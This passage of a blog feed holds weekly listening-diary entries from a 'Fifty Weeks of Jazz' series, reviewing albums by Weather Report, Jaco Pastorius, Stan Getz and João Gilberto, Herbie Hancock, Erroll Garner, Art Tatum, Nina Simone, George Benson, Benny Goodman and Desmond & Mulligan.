href="https://en.wikipedia.org/wiki/Jaco_Pastorius#Weather_Report">Wikipedia adds</a>!) Jaco's debut album was great, but this is the one that made me a believer: in my listening notes, I wrote "the electric guitar is the star of this album". So imagine my surprise when I discovered there <em>is</em> no electric guitar on this album—it's just Jaco doing Jaco things on his bass.</p> <p>The liberal use of synthesizers gives <em>Heavy Weather</em> a full and more modern sound compared to many of the other albums we've heard—and with Pastorius on the bass, it should come as no surprise that he gets plenty of time in the spotlight (especially on "Teen Town"). The many solos throughout the album (bass and otherwise) continually enthrall (e.g., the electric piano (?) near the end of "A Remark You Made"; the sax at 2:00 in "The Juggler"), but so too do the smaller ornamentations—the "da-ding" on the piano at around 1:08 in "The Juggler" is tiny but adds so much. "Rumba Mamá" feels like the odd one out to me here: recorded live in 1976, it's heavy on vocals and Latin beats, but light on everything else—a significant departure from the rest of the album.</p> <p>The best-known song from the album is "Birdland," and while it's a phenomenal track (especially Jaco's bass near the start!), my one critique is that it ends up feeling a little too "sunshine &amp; rainbows" for me. There's so much intrigue and anticipation at first, but I find the theme introduced right at 2:00 so irrepressibly upbeat that it dominates the mood, and collapses any emotional ambiguity into a one-note <em>feelin' good</em>. If you're looking for an easy smile, it's great; I only wish they had left a little more of that initial edge on it. But that depressive nitpicking of an irredeemable curmudgeon hardly dampens the bright skies on display here—I'll be returning to <em>Heavy Weather</em> season after season.</p> <p><em>Favourite track:</em> A Remark You Made</p> <hr> 2025-06-08T00:00:00+00:00 2025-06-08T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-22/ <p>I expected to like <em>Jaco Pastorius</em>—both the bassist as well as his self-titled debut album—from the start. It is the official editorial position of the Simpsonian that <a rel="external" href="https://en.wikipedia.org/wiki/Rush_(band)">Rush</a> is the greatest rock group of all time, so I hope there is no doubt when I say that I surely appreciate a proper <a rel="external" href="https://www.youtube.com/watch?v=zzCB6Q3sc60">bass-slapping</a>. Alas, despite all that, my first listen of this album sailed right under my whelms. I had a hard time following along or categorizing the album: we start with the virtuosic but minimal "Donna Lee," followed by the distinctly R&amp;B "Come On, Come Over", then a few progressive tracks, finally tied up with some soaring strings?<sup class="footnote-reference"><a href="#pastorius-bonus-tracks">1</a></sup> I couldn't make heads or tails of it.</p> <p>But with repeated listens, something finally clicked. The real "a-ha" moment for me was likening this album to Daft Punk's <em>Random Access Memories</em>—bear with me. Yes, the two albums sound pretty different, but they both explore all kinds of different musical ideas/genres, while still maintaining a coherent, singular identity that binds all the tracks together. Even when drilling down to the level of individual tracks there's some fun parallels; let me break them down for you:</p> <table><thead><tr><th>Archetype</th><th><em>Jaco Pastorius</em></th><th><em>Random Access Memories</em></th></tr></thead><tbody> <tr><td>Catchy dance hit featuring another R&amp;B group on vocals</td><td>"Come On, Come Over" (feat. <a rel="external" href="https://en.wikipedia.org/wiki/Sam_%26_Dave">Sam &amp; Dave</a>)</td><td>"Get Lucky" (feat. <a rel="external" href="https://en.wikipedia.org/wiki/Pharrell_Williams">Pharrell Williams</a>)</td></tr> <tr><td>Minimal track that strongly features a single instrument</td><td>"Portrait of Tracy" (maybe "Donna Lee" as well?)</td><td>"Within"</td></tr> <tr><td>Soaring string introduction</td><td>"Forgotten Love"</td><td>"Beyond"</td></tr> <tr><td>Eight-ish minutes of experimental prog <em>something</em></td><td>"Kuru / Speak Like a Child"<sup class="footnote-reference"><a href="#kuru">2</a></sup></td><td>"Touch" (arguably "Giorgio by Moroder" too)</td></tr> </tbody></table> <p>But there's also a more direct jazz connection worth pointing out here: Herbie Hancock! We first met Hancock a <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">couple weeks ago</a> alongside his Headhunters; Hancock features prominently on this album too. He plays keyboard on several tracks here, and the "Speak Like a Child" half of "Kuru / Speak Like a Child" comes from an earlier composition of his. Hancock was clearly a fan of the young Pastorius; the back of the album features this extended praise:</p> <blockquote> <p>Jaco is a phenomenon. He is able to make sounds on the bass that are a total surprise to the sensibilities. Not only single notes, but chords, harmonics, and all sorts of nuances with the color of the instrument that when combined and translated through Jaco make for some of the best music that I've heard in a long time.</p> <p>Of course, it's not the technique that makes the music; it's the sensitivity of the musician and his ability to be able to fuse his life with the rhythm of the times. This is the essence of music. On this record Jaco captures some of that rhythm.</p> </blockquote> <p>So after a week's worth of listening, I've ended up exactly where I thought I would: this album is awesome; highly recommended.</p> <p><em>Favourite track:</em> Kuru / Speak Like a Child</p> <hr> <div class="footnote-definition" id="pastorius-bonus-tracks"><sup class="footnote-definition-label">1</sup> <p>Those soaring strings are from "Forgotten Love," which was the closing track on the original release. The CD re-release I have includes two bonus tracks afterwards—generally I'm all for those goodies, but in this case I find they really ruin the perfect dénouement created by "Forgotten Love." ("6/4 Jam" <em>is</em> pretty fun though.)</p> </div> <div class="footnote-definition" id="kuru"><sup class="footnote-definition-label">2</sup> <p>…isn't Kuru that prion disease typically spread via cannibalism?? Yes, <a rel="external" href="https://en.wikipedia.org/wiki/Kuru_(disease)">yes it is</a>…</p> </div> 2025-06-02T00:00:00+00:00 2025-06-02T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-21/ <p>Ah, we've arrived at <em>bossa nova</em>: Spanish for "the new boss," because when João Gilberto and Stan Getz popularized the genre with their 1964 album <em>Getz/Gilberto</em>, everyone took notice of the new boss in town. Or something like that.</p> <p>This album, <em>The Best of Two Worlds</em>, is the reunion of Getz (saxophone) and Gilberto (vocals) over a decade later. (Gilberto's then-wife, known professionally as Miúcha, joins as well, providing the English vocals.) This music is precious: it's exquisitely beautiful, and sumptuously smooth. That smoothness is pleasing, but at times it runs the risk of becoming sedate. When I listen to jazz, I'm not looking to appreciate an abstract Rothko with detached amusement—I want my passions <em>inflamed</em>, dammit! <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">Tijuana Moods</a> is such an interesting contrast here: both albums have their souls in Latin America, but their vibes could not be any more different. <em>The Best of Two Worlds</em> is foolproof dinner party background music; with Mingus it's chaos and confusion, fire and brimstone. (Yes, the hellfire is a <em>good</em> thing.)</p> <p>That being said, the first two songs on this album are sublime enough to transcend my impertinent grousing. "Double Rainbow" is the most magnificent song ever to feature a double rainbow, and that is a category with <a rel="external" href="https://www.youtube.com/watch?v=MX0D4oZwCsA"><em>stiff</em> competition</a>. But "Aguas de Março (Waters of March)" is the runaway star for me. I don't generally go for its style of free-form, abstract lyrics, but here everything just <em>works</em>, thanks largely to Miúcha's lithe vocals and Getz's legendary tone. (No shade to Gilberto, who is a great singer as well, but he just doesn't make my heart ache like Miúcha.) Apparently the lyrics <a rel="external" href="https://en.wikipedia.org/wiki/Waters_of_March">are inspired by</a> the sudden, heavy March rains in Rio de Janeiro, which routinely carry various detritus through the streets. It's a highly evocative image, and one that makes me think I need to get outside more. I shudder to think of a version of this song inspired by my life… <em>A bit, a byte, a keystroke at night…</em></p> <p><em>Favourite track:</em> Aguas de Março (Waters of March)</p> 2025-05-25T00:00:00+00:00 2025-05-25T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-20/ <p>What the <em>funk</em> is this‽</p> <p>Right from the first listen, this has jumped into my personal top five albums from this project, and probably the top three. It's a total mind virus; I've been listening to it every day since. Once you have the opening lick in your eardrums, it's all over. There is simply no escaping it.</p> <p>I don't have any particularly intelligent analysis (as usual); all there is to say is that the vibes here are immaculate. "Chameleon" makes me want to stalk around Manhattan at 2 a.m. "Watermelon Man" makes me want to drive around like that <a rel="external" href="https://archive.org/details/gorillaz_final_drive">old 3D Gorillaz game</a> (<a rel="external" href="https://www.youtube.com/watch?v=Ozr6SBxIOE8">video</a>). "Sly" makes me want to frantically scramble to evade the police. "Vein Melter" makes me want to… actually I'm not sure; that one's pretty chill.</p> <p>I had never heard of Hancock before this, which is impressive, given that he's accomplished pretty much everything there is for a musician to accomplish. A quick sampler of some of his laurels: personally scouted by Miles Davis for his "<a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#Second_Great_Quintet_(1964%E2%80%9368)">Second Great Quintet</a>;" 14 Grammys (including Album of the Year); and an Oscar for Best Original Score. No lack of commercial success either: Wikipedia <a rel="external" href="https://en.wikipedia.org/wiki/Head_Hunters">claims</a> (albeit without citation) that <em>Head Hunters</em> was the best-selling jazz album ever until <em>Breezin'</em> (by <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-16/">George Benson</a>) came along. Plus, he made a nice chunk of change recording jingles for all kinds of TV commercials, and he composed the theme for a <em>Fat Albert</em> special. But he isn't a commercial sellout either: Hancock was (and continues to be) chairman of the "Thelonious Monk Institute of Jazz" for so long that they decided to just rename it the "Herbie Hancock Institute of Jazz" instead.<sup class="footnote-reference"><a href="#hancock-institute-of-jazz">1</a></sup></p> <p>This album is arguably our first glimpse into jazz <em>fusion</em>: the extended solos and general structure are reminiscent of the jazz we've heard so far, but the instrumentation (especially the heavy focus on synthesizers/electric piano) and general funkiness are a new twist, and I am 100% here for it. And can I just say: fusion <em>anything</em> is obviously always going to be better than the original. It's practically so by definition—take the best parts of multiple things and stick them together—how could that <em>not</em> be better than what you started with? French fries in my falafel wrap? Synthesizers in my jazz? Yep, a double helping of each please. FUSE IT!</p> <p><em>Favourite track:</em> Chameleon</p> <hr> <div class="footnote-definition" id="hancock-institute-of-jazz"><sup class="footnote-definition-label">1</sup> <p>Which like, ouch, for Monk.</p> </div> 2025-05-20T00:00:00+00:00 2025-05-20T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-19/ <p>Wow, what a contrast with <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-18/">last week</a>. Whereas Tatum astonishes with technical wizardry, Erroll Garner shows that less can be more; Tatum bowls the listener over with an incessant acoustic assault, while Garner makes the silences work just as hard as the notes themselves. By far my favourite feature of Garner's playing is when he really unleashes that booming, thundering bass from his left hand (like in "How Could You Do a Thing Like That to Me"). It feels almost sacrilegious to say, but I far prefer Garner's approach: I will forever be in awe of what Tatum could do on the keys, but Garner strikes me as simply more <em>musical</em> in the end.</p> <p>That we even have this album is a happy accident: per <a rel="external" href="https://en.wikipedia.org/wiki/Concert_by_the_Sea#Recording_and_music">Wikipedia</a>, there were no plans to record it, but Garner's manager spied a tape recorder running backstage (placed by an enterprising <a rel="external" href="https://en.wikipedia.org/wiki/Taper_(concert)">taper</a>); that tape eventually became this album. It was an especially fortunate happenstance for Garner's label, Columbia—the notes for the 2015 rerelease claim that the album brought in over a million dollars in sales by 1958 (three years after the original release). Not bad for a record with an out-of-tune piano and barely audible backing instruments!</p> <p>As is tradition around here, allow me to offer a connection in closing: <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-03/">early on</a>, we met Art Blakey, along with his Messengers. Blakey's widely considered to be one of the greatest jazz drummers of all time, and to some extent he has Garner to thank for that: <a rel="external" href="http://artblakey.com/biography/">according to Blakey</a>, he started his career gigging on the piano, but that ended abruptly one night when the club owner ordered him onto the drums instead. One gets the impression that Blakey perhaps wasn't entirely enthusiastic about the request at first—but when the club owner pulled his pistol on Blakey, Blakey had a sudden change of heart. For whom was Blakey vacating the piano bench? You've already guessed it, of course: Erroll Garner.</p> <p><em>Favourite track:</em> Mambo Carmel<sup class="footnote-reference"><a href="#mambo-carmel">1</a></sup></p> <hr> <div class="footnote-definition" id="mambo-carmel"><sup class="footnote-definition-label">1</sup> <p>The opening chords in this one really reminded me of <a rel="external" href="https://en.wikipedia.org/wiki/B%C3%A9la_Bart%C3%B3k">Bartók</a>, but I can't coherently articulate why.</p> </div> 2025-05-11T00:00:00+00:00 2025-05-11T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-18/ <p><em>Editor's note: we sincerely apologize for the disruption in our usual weekly publication schedule. We recently welcomed a new staff member at the Simpsonian and are very busy training him—we're confident that he'll one day become a valued addition to the team, especially once he can feed, bathe, and clothe himself.</em></p> <p>If someone says, "you <em>have</em> to listen to this," and the recording begins with a staticy hiss (as this one does), how should you react? In my opinion, you should be elated. Think of it this way: in 2025, we enjoy a surfeit of extremely high-quality audio recordings; if you want to hear a world-class pianist performing in optimal studio conditions, they're not in short supply. So if, despite that, someone recommends a low-quality recording, there must be something very special about the content. <em>Piano Starts Here</em> falls squarely into that camp.</p> <p>Unfortunately I lack the time to dive deep into Tatum's life, so I'll confine myself to the basics: he plays like a man possessed, which you can confirm for yourself by listening to thirty seconds of his music. Many regard him as the greatest jazz pianist ever to have lived; many renowned pianists cite him as a formative influence. But what's more impressive to me is his legacy as an <em>anti</em>-influence: Wikipedia has <a rel="external" href="https://en.wikipedia.org/wiki/Art_Tatum#Influence">a paragraph</a> on all the musicians who heard Tatum play and found the skill gap so disheartening they gave up the piano entirely. One such flunky was Les Paul, so arguably Art Tatum invented the electric guitar?</p> <p>Tatum's playing reminds me of only one other pianist: <a rel="external" href="https://en.wikipedia.org/wiki/Vladimir_Horowitz">Vladimir Horowitz</a>. Horowitz holds a special place in my heart because I stumbled upon him by pure chance: I purchased a used album of his from my local library on a whim and had my socks thoroughly knocked off the first time I listened to it. The best simile I can offer is that Horowitz's playing (especially in the upper register on the right hand) is like water pouring from a handcrafted teapot: a flow so steady, swift, and perfect that there's no telling where one note ends and the next begins. Tatum is the only other pianist I've heard who can match that lofty bar, and as it so happens, the two were contemporaries; I was delighted to read about some of their encounters <a rel="external" href="https://vivavirtuoso.com/tatum-horowitz-and-tea-for-two/">here</a>.</p> <p><em>Favourite track:</em> St. Louis Blues<sup class="footnote-reference"><a href="#tatum-st-louis-blues">1</a></sup></p> <hr> <div class="footnote-definition" id="tatum-st-louis-blues"><sup class="footnote-definition-label">1</sup> <p>I'm biased because this was the very first track all the way back in <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-01/">week 1</a>—that's still one of my favourite songs from this entire experience, so hearing the same theme again here caught my ear right away. "Tiger Rag" is pretty great too.</p> </div> 2025-04-27T00:00:00+00:00 2025-04-27T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-17/ <p>Perhaps more than any other artist we've heard thus far, Nina Simone defies categorization. Do we set her against the <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">other</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-04/">female</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-08/">vocalists</a> we've heard? On this album she sings the blues—ought we compare her to <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-01/">Louis</a>? But of course, she was also a talented pianist, and we've heard <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-11/">a few</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-13/">of those</a> as well; maybe they're a better fit?</p> <p>The answer, of course, is obvious: any attempt to confine such a singular artist to a particular label is an exercise in futility. Simone's own description of her work was "<a rel="external" href="https://www.bbc.co.uk/culture/article/20240215-in-history-nina-simone-how-racial-injustice-fuelled-her-songs">black classical music</a> <em>[…]</em> It's a combination of gospel, pop, love songs, political songs, so it is black-oriented classical music, that's what it is." I wasn't aware of how deep her classical music training ran—Simone loved Bach in particular, and that influence isn't hard to hear in this <a rel="external" href="https://www.classicfm.com/discover-music/instruments/piano/nina-simone-improvises-bach-fugue-classic-song/">fugal interlude</a> from one of her live performances.</p> <p>In <em>Nina Simone Sings the Blues</em>, we only get a small slice of her oeuvre (lacking many of her <a rel="external" href="https://www.youtube.com/watch?v=oHRNrgDIJfo">best-known</a> <a rel="external" href="https://www.youtube.com/watch?v=WCjzNfJLHa0">songs</a>), but it's a worthy one nonetheless. This week, let me take you through my favourite tracks from the album.</p> <h3 id="buck">Buck</h3> <p>This song isn't even two minutes long, but Simone still manages to pack a lot in. The flirty lyrics and light-hearted, breezy vocals make it a fun listen, but my favourite part is the opening organ riff that forms the backbone of the song: it's such a groovy saunter down the keys, and a total earworm.</p> <h3 id="i-want-a-little-sugar-in-my-bowl">I Want a Little Sugar in My Bowl</h3> <p>If "Buck" was suggestive, this one is downright filthy—the lyrics aren't subtle in their innuendo, which is especially surprising given that they're heavily based on a <a rel="external" href="https://en.wikipedia.org/wiki/Need_a_Little_Sugar_in_My_Bowl">1931 song</a>. (Not a time I associate with free expression of feminine libido!)</p> <p>This track puts the spotlight on Simone's vocals, and allows her softer side to shine. Simone had an incredible ability to channel powerful emotions (as we'll soon encounter), but this song shows she could be just as effective in a more subdued setting.</p> <h3 id="backlash-blues">Backlash Blues</h3> <p>Here we arrive at a portrait of Nina the activist: a series of <a rel="external" href="https://en.wikipedia.org/wiki/Medgar_Evers">horrific</a> <a rel="external" href="https://en.wikipedia.org/wiki/16th_Street_Baptist_Church_bombing">murders</a> in the 1960s spurred her to political advocacy; this song, with lyrics penned by her poet friend <a rel="external" href="https://en.wikipedia.org/wiki/Langston_Hughes">Langston Hughes</a> is one such example. The protest here is an icy cool, not a fiery rage—the guitar runs are gripping, and the whole piece drips with discontent (though not disempowerment).</p> <h3 id="the-house-of-the-rising-sun">The House of the Rising Sun</h3> <p>Surely you've heard <a rel="external" href="https://www.youtube.com/watch?v=N4bFqW_eu2I">The Animals' version</a> of this folk classic. That's not the only time they crossed paths with Simone—their cover of <a rel="external" href="https://www.youtube.com/watch?v=_2sz_YwwwQ4">Don't Let Me Be Misunderstood</a> was far more successful than Simone's original recording (which allegedly led to <a rel="external" href="https://www.covermesongs.com/2018/04/thats-a-cover-dont-let-me-be-misunderstood-the-animals-nina-simone.html">some tensions</a>).</p> <p>I find Simone's take here jauntier and less haunting than The Animals'—overall I prefer the latter, but the bluesy roots come through more strongly in Simone's.</p> <h3 id="my-man-s-gone-now">My Man's Gone Now</h3> <p>Far and away my favourite song of the album: every time I listen, it gives me full-body chills. I can't adequately describe this one—you'll need to listen for yourself—but the album notes give a good taste:</p> <blockquote> <p><em>My Man's Gone Now</em> was the last selection taped at the recording session. Miss Simone was physically and emotionally exhausted from previous recording, but she sat down at the piano and began to play and sing this moving "Porgy and Bess"<sup class="footnote-reference"><a href="#porgy-and-bess">1</a></sup> tune. The bass picked it up. From somewhere she called up the stamina to deliver with even more intensity and spirit a rare, perfect performance in one take, which could not possibly be improved.</p> </blockquote> <p>Simone's life wasn't an easy one: her famous temper repeatedly got her into serious trouble; near the end of her life that volatility was formalized in a diagnosis of bipolar disorder. In so many ways, she contained multitudes: despite our inclinations, her music and legacy defy tidy summarization. I'm very glad to have begun discovering her story this week.</p> <p><em>Favourite track:</em> My Man's Gone Now</p> <hr> <div class="footnote-definition" id="porgy-and-bess"><sup class="footnote-definition-label">1</sup> <p>Note to self: at some point, I really ought to give the Gershwins their own treatment: besides this album, we've already <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-02/">heard</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-15/">three</a> <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-16/">others</a> that lift tracks from those brothers.</p> </div> 2025-04-21T00:00:00+00:00 2025-04-21T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-16/ <p>Inside George Benson there are two wolves:</p> <ol> <li>the coolest cat you've ever seen, and</li> <li>the softest, most wholesome guy you've ever met.</li> </ol> <p>In "Clockwise" he's laying down a <em>lick</em> on his electric guitar in tandem with the baritone sax, and hoo boy is it tasty. By contrast, "A Foggy Day" is a cover of a Gershwin song originally made popular by Fred Astaire—Benson's up-tempo take on it injects some much-needed pep, but that doesn't make it any less old-timey.</p> <p>Many of the artists we've heard so far have been singular students of jazz, devoting their entire career to discovering and mapping her many details. Not so with Benson—there's no disputing his jazz <em>bona fides</em> (as evidenced by this album), but he also extensively recorded pop and R&amp;B;<sup class="footnote-reference"><a href="#benson-beatles">1</a></sup> many of the 10 (!) Grammys he's won come from those latter two genres. The aforementioned Cool Guy/Nice Guy dichotomy is present in his pop stuff too: in "<a rel="external" href="https://www.youtube.com/watch?v=FIF7wKJb2iU">Give Me The Night</a>" he's about to sweep your girl off her feet and rollerskate<sup class="footnote-reference"><a href="#benson-rollerskating">2</a></sup> her away into the Californian sunset, but in "<a rel="external" href="https://www.youtube.com/watch?v=p7JyA5xE078">Never Give Up on a Good Thing</a>," relationship counselor Benson exhorts you to… never break up? (This is somewhat less surprising after learning that Benson is a Jehovah's Witness and is celebrating sixty years of marriage in 2025.)</p> <p>But back to <em>It's Uptown</em>: this is the first album we've heard that makes the guitar the star of the show. I have mixed feelings about that—it's hard to top the cool factor of a well-placed guitar riff, but I also find that the instrument struggles to evoke a certain mournful or plaintive tone that is so often core to jazz. That being said, the trusty six-string has other tricks up its sleeve. A great example is "Bullfight," where Benson starts by setting up a Latin beat with some dense, choppy rhythmic chords, then effortlessly transitions to the solo melody. Finally, it bears mentioning that although Benson came to fame as a prodigious guitarist, he's a great vocalist as well—I find the lyrics of the selections on this album a bit cheesy, but I'm a fan of the clear, bright tone of his voice.</p> <p>So until next week, follow Benson's example: be the baddest dude you can while still being a good guy.</p> <p><em>Favourite track:</em> Clockwise</p> <hr> <div class="footnote-definition" id="benson-beatles"><sup class="footnote-definition-label">1</sup> <p>Not to mention his own rendition of <em><a rel="external" href="https://en.wikipedia.org/wiki/The_Other_Side_of_Abbey_Road">Abby Road</a></em>.</p> </div> <div class="footnote-definition" id="benson-rollerskating"><sup class="footnote-definition-label">2</sup> <p>According to <a rel="external" href="https://www.spin.com/2024/07/george-benson-still-breezin-after-all-these-years/">this interview</a>, the rollerskating wasn't planned: on the evening of the shoot, there just happened to be a group of people rollerskating, and Benson—who spent his youth skating—insisted on joining in on the fun (to his manager's great consternation).</p> </div> 2025-04-13T00:00:00+00:00 2025-04-13T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-15/ <p>Going into middle school, I needed to pick an instrument for music class. The choice was clear: I could barely get a whimper out of a flute, and my buzzing on the brass was no good, but by God could I wail on the saxophone. My father was only too happy to indulge my affinity for woodwind by purchasing me a… clarinet. Practicality ruled the day: a clarinet, you see, is significantly cheaper than a saxophone, and is <em>just</em> compact enough to be crammed into one's backpack for easy transportation—my father had no sympathy for the fact that I idolized <a rel="external" href="https://www.youtube.com/watch?v=GaoLU6zKaws">sexy sax man</a>, not Squidward. I've been unpacking that trauma ever since.</p> <p>It was surprising to me, then, to learn that all of that unpleasantness could have been avoided had someone simply played me this album all those years ago. Goodman is front and centre on the ol' licorice stick, and blows as hard as any another cat on the scene; there's no shortage of sax appeal here. As for the rest of the quartet: there's no bass (sad), but instead we've got double percussion—drums and <em><a rel="external" href="https://en.wikipedia.org/wiki/Vibraphone">vibraphone</a></em> (!)—to lay down a backbone, plus keys to fill everything out.</p> <p>From the instrumentation alone, this one struck me as antiquated: nothing else we've heard so far emphasizes these particular instruments, and I can't help but find the combination slightly cheesy. Not in a bad way! It's always fun, and it does legitimately go hard, but clarinet and vibraphone sound so <em>wholesome</em> to me; overall it doesn't quite have the same edge as <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-09/">some other things</a> we've listened to.</p> <p>Am I right in deeming this sound "dated?" Sort of: Goodman's quartet first made it big around 1936, but this particular recording is an attempt to recapture that magic in 1964 (well after the group had split—hence the "again" in <em>Together Again!</em>).<sup class="footnote-reference"><a href="#64-quartets">1</a></sup> Music had changed much in those intervening decades, thanks in no small part to Goodman himself: many consider his <a rel="external" href="https://en.wikipedia.org/wiki/The_Famous_1938_Carnegie_Hall_Jazz_Concert">1938 Carnegie Hall concert</a> to be the event that elevated jazz from popular frippery to serious art music. Society had changed as well, and Goodman was involved there too—his racially integrated quartet was highly controversial and nearly unprecedented, but that didn't stop them from touring the South; by all accounts that I've read, Goodman unflinchingly insisted on the equal treatment of all band members at every stop along the way.</p> <p>I'm not sure what the original reception to this album was in 1964, but I wouldn't be surprised if it mirrored my own: it's lovely music, but also clearly from another time—a long-lost treasure unearthed from a forgotten time capsule. I suppose that's a reputation one only earns by doing something groundbreaking in the first place.</p> <p>One final thought: while listening to this album, I kept feeling there was some kind of connection I couldn't quite place. By the end of the week I finally pieced it together: the theme from <em><a rel="external" href="https://www.youtube.com/watch?v=aMwSNDRP90o">Monsters, Inc.</a></em> sounds like it could've come right out of a Goodman ensemble (albeit with soprano sax filling in for clarinet). And man, what a bop that theme is.</p> <p><em>Favourite track:</em> Dearest</p> <hr> <div class="footnote-definition" id="64-quartets"><sup class="footnote-definition-label">1</sup> <p>For more information, see <a rel="external" href="https://64quartets.wordpress.com/2020/08/18/5-the-benny-goodman-quartet/">this incredibly detailed article</a> by Chris O'Leary (from which I've drawn throughout).</p> </div> 2025-04-06T00:00:00+00:00 2025-04-06T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-14/ <p>After <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-13/">last week's saxophone detox</a>, this week the jazz gods smiled upon me with a double helping. And after fourteen weeks, dare I say we're… learning? Check this out: this week's album features <a rel="external" href="https://en.wikipedia.org/wiki/Paul_Desmond">Paul Desmond</a> and <a rel="external" href="https://en.wikipedia.org/wiki/Gerry_Mulligan">Gerry Mulligan</a>. We know Desmond from <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-06/">Time Out</a></em>—in fact, he composed "Take Five."<sup class="footnote-reference"><a href="#desmond-bequeath">1</a></sup> Mulligan, on the other hand, enjoyed inspired collaborations with Chet Baker (though sadly <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-10/">Chet is Back!</a></em> isn't one such example). What's more, the format of this album (two cooperating saxmen with a stereo channel apiece<sup class="footnote-reference"><a href="#desmond-mulligan-mnemonic">2</a></sup>) calls to mind <em><a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-12/">Sonny Meets Hawk!</a></em> from a couple of weeks ago.</p> <p>My overall impression of <em>Two of a Mind</em> is that it's <em>witty</em>; several of these tracks are full of tongue-in-cheek "gotchas" (which, admittedly, are lost on me). Per Avakian's notes on the back of the album, "they will let you hear just enough of what you might expect to let you know that <em>they</em> know that <em>you</em> know—and then they're off on a wholly fresh idea." Clever, but Desmond &amp; Mulligan haven't made a fool of me—I'm too ignorant to be hoodwinked by their tricks. What's more, the title track is apparently meant to be another oblique musical reference for the true devotees. (Spoiler alert: the answer is front and centre on <a rel="external" href="https://en.wikipedia.org/wiki/Two_of_a_Mind">the album's Wikipedia page</a>.)</p> <p>That same wit shines through in the track names. Apparently, after hearing the rapid tempo on track 4, one of the audio engineers aptly suggested the title "Flight of the Bumblebee." <a rel="external" href="https://en.wikipedia.org/wiki/Judy_Holliday">Judy Holliday</a> (an actress who was hanging out in the control room and would go on to marry Mulligan a year after this recording) retorted "or… Blight of the Fumblebee!"<sup class="footnote-reference"><a href="#blight-of-the-fumblebee-anecdote">3</a></sup> Now <em>that</em> is an A+ Spoonerism; a brilliant example of the comedic arts that we seek to advance here at <a href="https://simpsonian.ca/jokes/#seriously-stupid-spoonerisms">the Simpsonian</a>. Desmond was also known to partake himself: a lifelong womanizer, upon crossing paths with a former girlfriend he remarked "There she goes—not with a whim but a banker" (a Spooneristic allusion recalling <a rel="external" href="https://en.wikipedia.org/wiki/The_Hollow_Men">Eliot's most famous stanza</a><sup class="footnote-reference"><a href="#hollow-men-spoonerism">4</a></sup>).</p> <p>As for the music itself, it's casual, friendly, and coordinated. Desmond's alto contrasts nicely with Mulligan's baritone; their counterpoint is on point.<sup class="footnote-reference"><a href="#counterpoint-refresher">5</a></sup> The electric guitar on "Untitled Blues Waltz" really got me too—there's an instrument that's been in short supply so far, so the extra funk it brings hits all the harder. Even so, I found myself longing for some of the rougher edges from <em>Sonny Meets Hawk!</em>. I can't quite put my finger on why: the best analogy I have is that <em>Two of a Mind</em> is a wonderfully blended Scotch—Desmond's own favoured <a rel="external" href="https://en.wikipedia.org/wiki/Dewar%27s">Dewar's</a>, perhaps—while <em>Sonny Meets Hawk!</em> is my beloved <a rel="external" href="https://en.wikipedia.org/wiki/Laphroaig_distillery">Laphroaig</a>. Many people in many circumstances will prefer the smooth refinement of the former—but sometimes you want a bare-knuckled peat punch just to remind yourself that you're alive.</p> <p><em>Favourite track:</em> Untitled Blues Waltz</p> <hr> <div class="footnote-definition" id="desmond-bequeath"><sup class="footnote-definition-label">1</sup> <p>"Take Five" is the best-selling jazz single of all time. So it was particularly generous of Desmond to <a rel="external" href="https://en.wikipedia.org/wiki/Paul_Desmond#cite_note-18">bequeath all further proceeds from his songs to the Red Cross</a>—a gift that so far has totalled over six million dollars.</p> </div> <div class="footnote-definition" id="desmond-mulligan-mnemonic"><sup class="footnote-definition-label">2</sup> <p>Another week, another mnemonic—sure, no problem. This time, start by making a capital "G" with your left hand (curling your thumb inwards) and a lowercase "d" with your right. Then, either swap your hands around or put your headset on backwards, because Desmond is on the left, and Gerry is on the right.</p> </div> <div class="footnote-definition" id="blight-of-the-fumblebee-anecdote"><sup class="footnote-definition-label">3</sup> <p>Once again, I am indebted to the album notes for this anecdote.</p> </div> <div class="footnote-definition" id="hollow-men-spoonerism"><sup class="footnote-definition-label">4</sup> <p>Though—controversy!—<a rel="external" href="https://en.wikipedia.org/wiki/The_Hollow_Men">the Wikipedia page</a> for "The Hollow Men" credits the same joke to <a rel="external" href="https://en.wikipedia.org/wiki/Mort_Sahl">Mort Sahl</a>.</p> </div> <div class="footnote-definition" id="counterpoint-refresher"><sup class="footnote-definition-label">5</sup> <p>If, like me, you need a refresher: counterpoint is when a piece of music features several musical lines that exist completely independently (i.e., it'd sound fine to play just one without the other); however, when played together, the resulting sound is far beyond the sum of its parts. You can hear counterpoint in everything from the lowly "Frère Jacques" (when sung as a round) all the way to Bach's deeply intricate fugues.</p> </div> 2025-03-30T00:00:00+00:00 2025-03-30T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-13/ <p>Enough of this American jazz hegemony! <a rel="external" href="https://en.wikipedia.org/wiki/Martial_Solal">Martial Solal</a>, "an Algerian-born Frenchman who plays more like an American than perhaps any 